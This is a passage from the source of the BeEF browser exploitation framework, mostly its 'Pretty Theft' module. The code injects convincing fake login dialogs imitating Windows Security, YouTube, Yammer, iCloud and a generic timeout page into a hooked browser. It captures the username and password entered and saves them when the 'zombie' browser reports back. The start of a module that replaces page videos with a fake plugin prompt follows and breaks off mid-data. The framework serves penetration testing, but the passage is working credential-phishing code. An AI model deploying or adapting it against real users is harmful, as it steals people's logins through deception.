value=\"false\"/></div></div></div>';\n\n\t\t// Repeatedly check if button has been pressed\n\t\tcredgrabber = setInterval(checker,1000);\n\t}\n\n\t// Windows floating div\n\tfunction windows() {\n\t\tsneakydiv = document.createElement('div');\n                sneakydiv.setAttribute('id', 'popup');\n                sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:#ffffff;border-radius:6px;');\n                document.body.appendChild(sneakydiv);\n\n                // Set appearance using styles, maybe cleaner way to do this with CSS block?\n\n\t\t// Set window border\n\t\tvar edgeborder = 'style=\"border:1px #000000 solid;border-radius:6px;\"';\n\t\tvar windowborder  = 'style=\"width:400px;border: 7px #CFE7FE solid;border-radius:6px;\"';\n\n\t\tvar windowmain    = 'style=\"border:1px #000000 solid;\"';\n\n\t\tvar titlebarstyle = 'style=\"background:#CFE7FE;height:19px;font-size:12px;font-family:Segoe UI;\"';\n\t\tvar titlebartext = 'Windows Security';\n\n\t\tvar promptstyle = 'style=\"height:40px;\"';\n\t\tvar titlestyle = 'style=\"align:left;font-size:14px;font-family:Segoe UI;margin:10px 15px;line-height:100%;color:0042CE;\"';\n\t\tvar title = 'Enter Network Password';\n\t\tvar bodystyle = 'style=\"align:left;font-size:11px;font-family:Segoe UI;margin:10px 15px;line-height:170%;\"';\n\t\tvar body = 'Enter your password to connect to the server';\n\t\tvar dividestyle = 'style=\"border-bottom:1px solid #DFDFDF;height:1px;width:92%;margin-left:auto;margin-right:auto;\"';\n\n\t\tvar tablestyle = 'style=\"background:#CFE7FE;width:90%;margin-left:auto;margin-right:auto;border:1px solid #84ACDD;border-radius:6px;height:87px\"';\n\t\tvar logobox = 'style=\"border:4px #84ACDD solid;border-radius:7px;height:45px;width:45px;background:#ffffff\"';\n\t\tvar logo = 'style=\"border:1px #000000 solid;height:43px;width:42px;background:#CFE7FE;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#EEF2F4, endColorstr=#CCD8DF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFE7FE));background: -moz-linear-gradient(top,  #EEF2F4,  #CCD8DF);\"';\n\n\t\tvar inputboxstyle = 'style=\"width:140px;font-size:11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#666666;color:#000000;border-radius:3px;\"';\n\n\t\tvar credstextstyle = 'style=\"font-size:11px;font-family:Segoe UI;\"';\n\n\t\tvar buttonstyle   = 'style=\"font-size: 13px;background:#069;color:#000000;border: 1px #29447e solid;padding: 3px 3px 3px 3px;margin-right:5px;border-radius:5px;width:70px;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#CFCFCF);background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#CFCFCF));background: -moz-linear-gradient(top,  #ffffff,  #CFCFCF);\"';\n\t\tvar buttonLabel  = '<input type=\"button\" name=\"ok\" value=\"OK\" id=\"ok\" ' +buttonstyle+ ' onClick=\"document.getElementById(\\'buttonpress\\').value=\\'true\\'\" onMouseOver=\"this.bgColor=\\'#00CC00\\'\" onMouseOut=\"this.bgColor=\\'#009900\\'\" bgColor=#009900>';\n\n\t\tvar bbarstyle     = 'style=\"background-color:#F0F0F0;padding:8px;text-align:right;border-top: 1px solid #DFDFDF;height:28px;margin-top:10px;\"';\n\n\t\t// Build page including styles\n\t\tsneakydiv.innerHTML= '<div id=\"edge\" '+edgeborder+'><div id=\"window_container\" '+windowborder+ '><div id=\"title_bar\" ' +titlebarstyle+ '>' +titlebartext+ '</div><div id=\"windowmain\" ' +windowmain+ '><div id=\"prompt\" '+promptstyle+'><p><span ' +titlestyle+ '>' +title+ '</span><br/><span ' +bodystyle+ '>' + body + '</span></div><div id=\"divide\" ' +dividestyle+ '></div></p><table ' +tablestyle+ '><tr><td rowspan=\"3\" width=75px align=\"center\"><div id=\"logobox\" ' +logobox+ '><div id=\"logo\" ' +logo+ '></div></div></td><td align=\"left\"><input type=\"text\" id=\"uname\" placeholder=\"User name\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr><tr><td align=\"left\"><input type=\"password\" id=\"pass\" name=\"pass\" placeholder=\"Password\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr><tr><td><input type=\"checkbox\"><span ' +credstextstyle+ '>Remember my credentials</span></td></tr></table>' + '<div id=\"bottom_bar\" ' +bbarstyle+ '>' +buttonLabel+ '<input type=\"hidden\" id=\"buttonpress\" name=\"buttonpress\" value=\"false\"/></div></div></div></div>';\n\n\t\t// Repeatedly check if button has been pressed\n\t\tcredgrabber = setInterval(checker,1000);\n\t}\n\n\t// YouTube floating div\n\tfunction youtube() {\n\n\t\tsneakydiv = document.createElement('div');\n\t\tsneakydiv.setAttribute('id', 'popup');\n\t\tsneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');\n\t\tdocument.body.appendChild(sneakydiv);\n\n\t\t// Set appearance using styles, maybe cleaner way to do this with CSS block?\n\t\tvar windowborder  = 'style=\"width:330px;background:white;border: 10px #999999 solid;border-radius:8px;\"';\n\t\tvar windowmain    = 'style=\"border:1px #555 solid;\"';\n \t\tvar tbarstyle     = 'style=\"color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top,  #919191,  #595959);\"';\n\t\tvar bbarstyle     = 'style=\"color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;\"';\n\t\tvar messagestyle  = 'style=\"align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;\"';\n\t\tvar box_prestyle  = 'style=\"color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;\"';\n\t\tvar inputboxstyle = 'style=\"width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;\"';\t\n\t\tvar buttonstyle   = 'style=\"font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;\"';\n\t\tvar logo  = 'http://www.youtube.com/yt/brand/media/image/yt-brand-standard-logo-630px.png';\n\t\tvar title = 'Session Timed Out <img src=\"' + logo + '\" align=right height=20 width=70 alt=\"YouTube\">';\n\t\tvar messagewords = 'Your session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';\n\t\tvar buttonLabel  = '<input type=\"button\" name=\"ok\" value=\"Sign In\" id=\"ok\" ' +buttonstyle+ ' onClick=\"document.getElementById(\\'buttonpress\\').value=\\'true\\'\" onMouseOver=\"this.bgColor=\\'#00CC00\\'\" onMouseOut=\"this.bgColor=\\'#009900\\'\" bgColor=#009900>';\n\n\t\t// Build page including styles\n\t\tsneakydiv.innerHTML= '<div id=\"window_container\" '+windowborder+ '><div id=\"windowmain\" ' +windowmain+ '><div id=\"title_bar\" ' +tbarstyle+ '>' +title+ '</div><p id=\"message\" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align=\"right\"> <div id=\"box_pre\" ' +box_prestyle+ '>Username: </div></td><td align=\"left\"><input type=\"text\" id=\"uname\" value=\"\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr><tr><td align=\"right\"><div id=\"box_pre\" ' +box_prestyle+ '>Password: </div></td><td align=\"left\"><input type=\"password\" id=\"pass\" name=\"pass\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr></table>' + '<div id=\"bottom_bar\" ' +bbarstyle+ '>' +buttonLabel+ '<input type=\"hidden\" id=\"buttonpress\" name=\"buttonpress\" value=\"false\"/></div></div></div>';\n\n\t\t// Repeatedly check if button has been pressed\n\t\tcredgrabber = setInterval(checker,1000);\n\n\t}\n\n\t// Yammer floating div\n\tfunction yammer() {\n\n\t\tsneakydiv = document.createElement('div');\n\t\tsneakydiv.setAttribute('id', 'popup');\n\t\tsneakydiv.setAttribute('style', 'position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;');\n\t\tdocument.body.appendChild(sneakydiv);\n\n\t\t// Set appearance using styles, maybe cleaner way to do this with CSS block?\n\t\tvar windowborder  = 'style=\"width:330px;background:white;border: 10px #999999 solid;border-radius:8px;\"';\n\t\tvar windowmain    = 'style=\"border:1px #555 solid;\"';\n \t\tvar tbarstyle     = 'style=\"color:white; font-size: 14px;font-family:Arial,sans-serif;font-weight: bold;outline-style: inherit;outline-color: #000000;outline-width: 1px;padding:5px;padding-left:8px;padding-right:6px;text-align: left;height: 30px;line-height:22px;border-bottom: 1px solid #CDCDCD;background: #F4F4F4;filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#919191, endColorstr=#595959);background: -webkit-gradient(linear, left top, left bottom, from(#919191), to(#595959));background: -moz-linear-gradient(top,  #919191,  #595959);\"';\n\t\tvar bbarstyle     = 'style=\"color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;\"';\n\t\tvar messagestyle  = 'style=\"align:left;font-size:11px;font-family:Arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;\"';\n\t\tvar box_prestyle  = 'style=\"color: #666;font-size: 11px;font-weight: bold;font-family: Arial,sans-serif;padding-left:30px;\"';\n\t\tvar inputboxstyle = 'style=\"width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color:#CDCDCD;\"';\t\n\t\tvar buttonstyle   = 'style=\"font-size: 13px;background:#069;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;\"';\n\t\tvar logo  = 'https://www.yammer.com/favicon.ico';\n\t\tvar title = 'Session Timed Out <img src=\"' + logo + '\" align=right height=24 width=24 alt=\"Yammer\">';\n\t\tvar messagewords = 'Your Yammer session has timed out due to inactivity.<br/><br/>Please re-enter your username and password to login.';\n\t\tvar buttonLabel  = '<input type=\"button\" name=\"ok\" value=\"Sign In\" id=\"ok\" ' +buttonstyle+ ' onClick=\"document.getElementById(\\'buttonpress\\').value=\\'true\\'\" onMouseOver=\"this.bgColor=\\'#00CC00\\'\" onMouseOut=\"this.bgColor=\\'#009900\\'\" bgColor=#009900>';\n\n\t\t// Build page including styles\n\t\tsneakydiv.innerHTML= '<div id=\"window_container\" '+windowborder+ '><div id=\"windowmain\" ' +windowmain+ '><div id=\"title_bar\" ' +tbarstyle+ '>' +title+ '</div><p id=\"message\" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align=\"right\"> <div id=\"box_pre\" ' +box_prestyle+ '>Username: </div></td><td align=\"left\"><input type=\"text\" id=\"uname\" value=\"\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr><tr><td align=\"right\"><div id=\"box_pre\" ' +box_prestyle+ '>Password: </div></td><td align=\"left\"><input type=\"password\" id=\"pass\" name=\"pass\" onkeydown=\"if (event.keyCode == 13) document.getElementById(\\'buttonpress\\').value=\\'true\\'\"' +inputboxstyle+ '/></td></tr></table>' + '<div id=\"bottom_bar\" ' +bbarstyle+ '>' +buttonLabel+ '<input type=\"hidden\" id=\"buttonpress\" name=\"buttonpress\" value=\"false\"/></div></div></div>';\n\n\t\t// Repeatedly check if button has been pressed\n\t\tcredgrabber = setInterval(checker,1000);\n\n\t}\n\n    function ios() {\n\n      /* start of Framework7 css\n       * Framework7 0.10.0\n       * Full Featured HTML Framework For Building iOS 7 Apps\n       *\n       * http://www.idangero.us/framework7\n       *\n       * Copyright 2014, Vladimir Kharlampidi\n       * The iDangero.us\n       * http://www.idangero.us/\n       *\n       * Licensed under MIT\n       *\n       * Released on: December 8, 2014\n      */\n    var styles = '   * {' +\n        'font-family: Helvetica Neue,Helvetica,Arial,sans-serif;'+\n        'margin: 0;'+\n        'padding: 0;'+\n        'font-size: 14px;' +\n        'line-height: 1.4;' +\n        '-webkit-text-size-adjust: 100%;' +\n        'overflow: hidden;' +\n        '-webkit-tap-highlight-color: transparent; ' +\n        '-webkit-touch-callout: none; } ';\n\n     styles += 'input { outline: 0; }';\n     styles += '.modal-overlay { ' +\n        'position: absolute; ' +\n        'left: 0; ' +\n        'top: 0; ' +\n        'width: 100%;' +\n        'height: 100%;' +\n        'background: rgba(0,0,0,.4);' +\n        ' z-index: 10600;' +\n        ' visibility: hidden;' +\n        'opacity: 0; ' +\n        '-webkit-transition-duration: 400ms;' +\n        'transition-duration: 400ms; } ';\n\n    styles += '.modal-overlay.modal-overlay-visible { visibility: visible; opacity: 1;} ';\n    styles += '.modal { width: 270px; position: absolute; z-index: 11000; left: 50%; ' +\n        'margin-left: -135px; margin-top: 0; top: 50%; text-align: center; border-radius: 7px;' +\n        'opacity: 0; -webkit-transform: translate3d(0,0,0) scale(1.185); ' +\n        'transform: translate3d(0,0,0) scale(1.185); -webkit-transition-property: -webkit-transform,opacity;' +\n        'transition-property: transform,opacity; color: #000;}';\n\n    styles += '.modal.modal-in {opacity: 1; -webkit-transition-duration: 400ms;transition-duration: 400ms;' +\n        '-webkit-transform: translate3d(0,0,0) scale(1); transform: translate3d(0,0,0) scale(1);}';\n    styles += '.modal-inner { padding: 15px;border-bottom: 1px solid #b5b5b5;border-radius: 7px 7px 0 0;' +\n    'background: #e8e8e8;}';\n    styles += '.modal-title { font-weight: 500; font-size: 18px;text-align: center}';\n    styles += '.modal-title + .modal-text {margin-top: 5px;}';\n    styles += '.modal-buttons { height: 44px; overflow: hidden;' +\n        'display: -webkit-box;' +\n        'display: -webkit-flex;' +\n        'display: flex;' +\n        '-webkit-box-pack: center;' +\n        '-webkit-justify-content: center;' +\n        'justify-content: center;}';\n\n     styles += '.modal-button {' +\n        'width: 100%;' +\n        'padding: 0 5px;' +\n        'height: 44px;' +\n        'font-size: 17px;' +\n        'line-height: 44px;' +\n        'text-align: center;' +\n        'color: #007aff;' +\n        'background: #e8e8e8;' +\n        'display: block;' +\n        'position: relative;' +\n        'white-space: nowrap;' +\n        'text-overflow: ellipsis;'+\n        'overflow: hidden;'+\n        'cursor: pointer;'+\n        '-webkit-box-sizing: border-box;'+\n        'box-sizing: border-box;'+\n        'border-right: 1px solid #b5b5b5;'+\n        '-webkit-box-flex: 1;} ';\n\n      styles += '.modal-button.modal-button-bold {font-weight: 500;} ';\n      styles += '.modal-button:first-child {border-radius:0 0 0 7px;} ';\n      styles += '.modal-button:last-child {'+\n        ' border-radius: 0 0 7px 0;' +\n        ' border-bottom: none; } ';\n      styles += \"input.modal-text-input {\" +\n        \"-webkit-box-sizing: border-box;\" +\n        \"box-sizing: border-box;\" +\n        \"height: 30px;\" +\n        \"background: #fff;\"+\n        \"margin: 0;\" +\n        \"margin-top: 15px;\" +\n        \"padding: 0 5px;\" +\n        \"border: 1px solid #a0a0a0;\" +\n        \"border-radius: 5px;\" +\n        \"width: 100%;\" +\n        \"font-size: 14px;\" +\n        \"font-family: inherit;\" +\n        \"display: block;\" +\n        \"-webkit-box-shadow: 0 0 0 transparent;\" +\n        \"box-shadow: 0 0 0 transparent;\" +\n        \"-webkit-appearance: none;\" +\n        \"appearance: none; }\";\n      styles += \"input.modal-text-input.modal-text-input-double {\" +\n        \"border-radius: 5px 5px 0 0; }\";\n      styles += \"input.modal-text-input.modal-text-input-double+input.modal-text-input {\"+\n       \" margin-top: 0;\" +\n       \" border-top: 0;\" +\n       \" border-radius: 0 0 5px 5px; }\";\n      /*end of Framework7 css*/\n      styles += \"input[type=submit] { \" +\n       \" visibility: hidden;\" +\n       \" position: absolute;\" +\n       \" top: -999px; }\";\n\n      styles += \"input[type=text],input[type=password] { \" +\n       \" font-size: 16px; }\" ;\n\n      styles += \"#pass + div {\"+\n       \" display: block;\"+\n        \"position: absolute;\"+\n        \"top: -10px;\"+\n        \"left: -53px;\"+\n        \"width: 3000px;\"+\n        \"height: 3000px;\"+\n        \"background-color: white;\"+\n        \"z-index: 1;\"+\n        \"font-size: 14px;\"+\n        \"pointer-events: none;\"+\n        \"text-align: left; }\";\n\n      styles += '@media only screen ' +\n      'and (min-device-width : 768px)' +\n      'and (max-device-width : 1024px)' +\n      'and (orientation : landscape) {' +\n          '.modal.modal-in {' +\n             ' opacity: 1;' +\n              '-webkit-transition-duration: 400ms;'+\n              'transition-duration: 400ms;'+\n              '-webkit-transform: translate3d(0,0,0) scale(0.9);'+\n              'transform: translate3d(0,0,0) scale(0.9);' +\n              'left: 200px;} ' +\n         ' #pass + div { top: -23px; left: -87px;} }';\n\n      styles +='@media only screen and (min-device-width : 768px)' +\n      'and (max-device-width : 1024px) and (orientation : portrait) {' +\n      '.modal.modal-in { opacity: 1; -webkit-transition-duration: 400ms;' +\n      'transition-duration: 400ms; -webkit-transform: translate3d(0,0,0) scale(0.8);'+\n      'transform: translate3d(0,0,0) scale(0.8);} ' +\n      '#pass + div {top: -39px;left: -305px;} }';\n\n      styles += '#pass:focus + div {display: none;}';\n\n        styleElement = $j(document.createElement('style')).text(styles);\n        title = $j(document.createElement('div'));\n        title.text('iCloud login');\n        title.addClass('modal-title');\n\n        description = $j(document.createElement('div'));\n        description.addClass('modal-text');\n        description.text('Enter your Apple ID e-mail address and password');\n\n        user = $j(document.createElement('input'));\n        user.addClass('modal-text-input').addClass('modal-text-input-double');\n        user.attr('name','modal-username');\n        user.attr('id','uname');\n        user.text('');\n        user.keydown(function(event) {\n            if(event.keyCode == 13) {\n                $j('#buttonpress').attr('value', 'true');\n            }\n        });\n\n        password = $j(document.createElement('input'));\n        password.addClass('modal-text-input').addClass('mobile-text-input-double');\n        password.attr('autofocus','');\n        password.attr('id', \"pass\");\n        password.attr('name',\"modal-password\");\n        password.attr('placeholder',\"Password\");\n        password.attr('type', 'password');\n        password.keydown(function(event) {\n            if(event.keyCode == 13) {\n                $j('#buttonpress').attr('value', 'true');\n            }\n        });\n\n        cancel = $j(document.createElement('span'));\n        cancel.addClass('modal-button');\n        cancel.text('Cancel');\n\n        ok = $j(document.createElement('span'));\n        ok.addClass('modal-button').addClass('modal-button-bold');\n        okLabel = $j(document.createElement('label'));\n        okLabel.attr('for','submit');\n        okLabel.css('width', '100%');\n        okLabel.css('height', '100%');\n        okLabel.text('OK');\n        okLabel.click(function() {\n            $j('#buttonpress').attr('value','true');\n        });\n        okLabel.append(\n            $j(document.createElement('input'))\n                        .attr('id', 'submit')\n                        .attr('type','submit')\n                        .attr('value','OK'),\n            $j(document.createElement('input'))\n                        .attr('id','buttonpress')\n                        .attr('type', 'hidden')\n                        .attr('name','buttonpress')\n                        .attr('value', 'false')\n        );\n        ok.append(okLabel);\n\n        var buttons = $j(document.createElement('div'));\n        buttons.addClass('modal-buttons');\n        buttons.append(cancel, ok);\n        var inner = $j(document.createElement('div'));\n        inner.addClass('modal-inner');\n        inner.append(title, description, user,password);\n        uiContainer = $j(document.createElement('div'));\n        uiContainer.addClass('modal').addClass('modal-in');\n        uiContainer.css('top', '10px');\n        uiContainer.append(inner, buttons);\n\n        sneakydiv = $j(document.createElement('div'));\n        sneakydiv.addClass('modal-overlay').addClass('modal-overlay-visible');\n        sneakydiv.attr('id','popup');\n        sneakydiv.append(styleElement, uiContainer);\n        $j('body').append(sneakydiv);\n        credgrabber = setInterval(checker, 1000);\n    }\n\n\t// Generic floating div with image\n\tfunction generic() {\n\t\tsneakydiv = document.createElement('div');\n\t\tsneakydiv.setAttribute('id', 'popup');\n\t\tsneakydiv.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\\'Arial\\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');\n\t\tsneakydiv.setAttribute('align', 'center');\n\t\tdocument.body.appendChild(sneakydiv);\n\t\tsneakydiv.innerHTML= '<br><img src=\\''+imgr+'\\' width=\\'80px\\' height\\'80px\\' /><h2>Your session has timed out!</h2><p>For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.</p><table border=\\'0\\'><tr><td>Username:</td><td><input type=\\'text\\' name=\\'uname\\' id=\\'uname\\' value=\\'\\' onkeydown=\\'if (event.keyCode == 13) document.getElementById(\\\"buttonpress\\\").value=\\\"true\\\";\\'></input></td></td><tr><td>Password:</td><td><input type=\\'password\\' name=\\'pass\\' id=\\'pass\\' value=\\'\\' onkeydown=\\'if (event.keyCode == 13) document.getElementById(\\\"buttonpress\\\").value=\\\"true\\\";\\'></input></td></tr></table><br><input type=\\'button\\' name=\\'lul\\' id=\\'lul\\' onClick=\\'document.getElementById(\\\"buttonpress\\\").value=\\\"true\\\";\\' value=\\'Ok\\'><br/><input type=\"hidden\" id=\"buttonpress\" name=\"buttonpress\" value=\"false\"/><br/>';\n\t\t\n\t\t// Repeatedly check if button has been pressed\t\t\n\t\tcredgrabber = setInterval(checker,1000);\n\n\t}\n\t\n\t// Set background opacity and apply background \n\tvar backcolor = \"<%== @backing %>\";\t  \n\tif(backcolor == \"Grey\"){\n\t\tgrayOut(true,{'opacity':'70'});\n\t} else if(backcolor == \"Clear\"){\n\t\tgrayOut(true,{'opacity':'0'});\n\t}\n\n\t// Retrieve the chosen div option from BeEF and display\n\tvar choice = \"<%= @choice %>\";\t\n\tswitch (choice) {\n\t\tcase \"Facebook\":\n\t\t\tfacebook(); break;\n\t\tcase \"LinkedIn\":\n\t\t\tlinkedin(); break;\n\t\tcase \"Windows\":\n\t\t\twindows(); break;\n\t\tcase \"YouTube\":\n\t\t\tyoutube();  break;\n\t\tcase \"Yammer\":\n\t\t\tyammer();   break;\n        case \"IOS\":\n            ios(); break;\n\t\tdefault:\n\t\t\tgeneric();  break;\n\t}\n\n});\n"
  },
  {
    "path": "modules/social_engineering/pretty_theft/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        pretty_theft:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Pretty Theft\"\n            description: \"Asks the user for their username and password using a floating div.\"\n            authors: [\"pwndizzle\", \"vt [nick.freeman@security-assessment.com]\", \"xntrik\"]\n            target:\n                user_notify: ['ALL']\n                not_working: ['IE']\n"
  },
  {
    "path": "modules/social_engineering/pretty_theft/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Pretty_theft < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n    logo_uri = \"#{base_host}/ui/media/images/beef.png\"\n    [\n      { 'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Dialog Type', 'store_type' => 'arraystore', 'store_fields' => ['choice'],\n        'store_data' => [['Facebook'], ['LinkedIn'], ['Windows'], ['YouTube'], ['Yammer'], ['IOS'], ['Generic']], 'valueField' => 'choice', 'value' => 'Facebook', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },\n\n      { 'name' => 'backing', 'type' => 'combobox', 'ui_label' => 'Backing', 'store_type' => 'arraystore', 'store_fields' => ['backing'], 'store_data' => [['Grey'], ['Clear']],\n        'valueField' => 'backing', 'value' => 'Grey', editable: false, 'displayField' => 'backing', 'mode' => 'local', 'autoWidth' => true },\n\n      { 'name' => 'imgsauce', 'description' => 'Custom Logo', 'ui_label' => 'Custom Logo (Generic only)', 'value' => logo_uri }\n    ]\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    save({ 'answer' => @datastore['answer'] })\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/replace_video_fake_plugin/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\t$j('<%= @jquery_selector %>').each(function(){\n\t\tvar width = $j(this).css('width');\n\t\tvar height = $j(this).css('height');\n\t\t$j(this).replaceWith('<img src=\"data:image/png;base64,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